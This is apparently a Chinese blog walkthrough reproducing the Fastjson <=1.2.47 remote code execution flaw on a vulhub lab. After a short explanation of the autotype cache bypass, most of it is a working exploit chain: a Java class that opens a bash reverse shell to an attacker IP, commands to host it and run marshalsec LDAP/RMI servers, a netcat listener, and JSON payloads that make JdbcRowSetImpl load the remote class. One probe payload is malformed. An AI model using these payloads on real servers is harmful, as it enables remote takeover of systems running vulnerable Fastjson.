0x01 漏洞概述
FastJson有一个全局缓存机制:在解析json数据前会先加载相关配置,调用addBaseClassMappings和loadClass函数将一些基础类和第三方库存放到mappings中(mappings是ConcurrentMap类,所以我们在一次连接中传入两个键值a和b,具体内容见下文)。
之后在解析时,如果没有开启autotype,会从mappings或deserializers.findClass函数中获取反序列化的对应类,如果有,则直接返回绕过了黑名单。
本次要利用的是java.lang.Class类,其反序列化处理类MiscCodec类可以将任意类加载到mappings中,实现了目标。
0x02 漏洞版本
Fastjson <= 1.2.47
0x03 漏洞复现
vulhub/fastjson:1.2.45
POC
请求头改为POST,添加下面的Payload
{"naraku":{"@type":"java.net.Inet4Address","val":"xxx.dnslog.cn"}}
{"@type":"java.net.InetSocketAddress"{"address":,"val":“a4gw7k.dnslog.cn"}}
EXP
https://github.com/CaijiOrz/fastjson-1.2.47-RCE
修改Exploit.java文件中的反弹shell代码
public class Exploit {
public Exploit(){
try{
Runtime.getRuntime().exec("/bin/bash -c $@|bash 0 echo bash -i >&/dev/tcp/攻击者IP/22255 0>&1");
}catch(Exception e){
e.printStackTrace();
}
}
public static void main(String[] argv){
Exploit e = new Exploit();
}
}
!记得javac编译java文件
javac Exploit.java
搭建一个简易的WEB服务器
python3 -m http.server 55561
使用marshalsec启动LDAP服务或者RMI服务
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://VPS服务器:55561/#Exploit 55562
java ‐cp marshalsec‐0.0.3‐SNAPSHOT‐all.jar marshalsec.jndi.RMIRefServer http://VPS服务器:55561/#Exploit 55562
攻击者主机监听反弹Shell
nc -lvnp
Burp请求EXP服务器
{"e":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"f":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://your_vps_ip:55562/Exploit","autoCommit":true}}
{"a":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://your_vps_ip:55562/Exploit","autoCommit":true}}
【漏洞复现】Fastjson <=1.2.47远程命令执行 - 0nth3way - 博客园 (cnblogs.com)